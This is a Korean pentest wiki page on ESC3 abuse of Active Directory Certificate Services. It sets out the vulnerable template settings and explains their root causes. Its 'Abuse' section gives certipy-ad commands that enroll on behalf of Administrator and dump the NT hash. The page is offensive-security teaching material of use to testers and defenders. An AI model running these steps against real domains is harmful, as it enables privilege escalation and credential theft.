> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/adcs/esc3.md).

# ESC3

스마트 카드를 등록하려는 직원의 인적사항을 통해 관리자가 대행하여 인증 정보를 등록하는 것처럼, ADCS에서도 Certificate Request Agent 속성을 악용하면 다른 사용자의 인증서를 대행하여 등록할 수 있습니다.

Certificate Request Agent 속성은 모든 용도를 의미하는 Any Purpose에 속하기 때문에 ESC2에 취약한 템플릿은 당연하게 ESC3에도 취약합니다.&#x20;

그럼에도 ESC3이 별도의 공격으로 정의된 이유는 Any Purpose 이외의 상황들에서 사용되기 때문이며, 다음과 같은 속성들이 모두 만족할 때 악용 가능한 공격입니다.

| 속성                             | 값                                                         |
| ------------------------------ | --------------------------------------------------------- |
| Requires Manager Approval      | False                                                     |
| Authorized Signatures Required | 0                                                         |
| Enrollment Rights              | 공격자가 컨트롤 가능한 객체 이하의 권한                                    |
| Extended Key Usage(Ver. 1)     | Certificate Request Agent / Any Purpose / Null            |
| Extended Key Usage(Ver. 2)     | Certificate Request Agent / msPKI-RA-Application-Policies |

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 템플릿을 통한 인증서 발급
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template '&#x3C;template>'

<strong># 발급한 인증서를 통해 Administrator의 인증서 발급
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template 'User' -pfx '&#x3C;pfx>' -on-behalf-of '&#x3C;domain\Administrator>'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## Root Cause

#### **Enrollment Rights**

이 속성은 템플릿을 통해 인증서를 요청할 수 있는 권한이며 특정 유저(예 : 인증서 멤버)에게 국한하여 할당될 수 있습니다. 때문에 어떤 유저 계정을 탈취했냐에 따라 활용 가능한 ESC 취약점이 달라집니다.

<figure><img src="/files/fqxNizQqUwxy9ehxWhDq" alt=""><figcaption><p>Enrollment Rights</p></figcaption></figure>

#### **Requires Manager Approval & Authorized Signatures Required**

<figure><img src="/files/jtJjDRGt25FEtFdEeAcE" alt=""><figcaption></figcaption></figure>

Requires Manager approval 속성이 체크되어 있을 땐, 클라이언트가 인증서 요청 시 관리자가 이를 허가해야만 발급되는 절차입니다.

This number of authorized signatures 속성에 입력된 값만큼 서명이 요구되며 기본값은 0입니다.

{% hint style="info" %}
This number of authorized signatures는 10을 초과하더라도 실제론 10개의 서명만을 요구하지만, 현실적으로 보기 드물며 실무에서는 1로 설정하는 경우가 많습니다.
{% endhint %}

#### **Certificate Request Agent**

티켓의 발행 확장이 None / Certificate Request Agent / Any Purpose일 경우 공격자는 자신이 발행한 인증서를 통해 다른 사용자를 가장하여 인증할 수 있습니다.

<figure><img src="/files/SvaaipfRzHq3IrjraUW2" alt=""><figcaption></figcaption></figure>

#### **Include this information in alternate subject name**

기본적으로 사용자는 인증서 요청 시 E-mail과 UPN 필드를 명시해야 하지만, 해당 부분이 비활성화 되어있을 경우 이메일 정보 없이도 인증서 요청이 가능합니다.

<figure><img src="/files/v7EYKO2Mx3bzkITL6UWa" alt=""><figcaption><p>Include this information in alternate subject name</p></figcaption></figure>

## References

{% embed url="<https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse>" %}

{% file src="/files/HX8Ch8gSkTdGd2TeB3BG" %}

{% embed url="<https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}
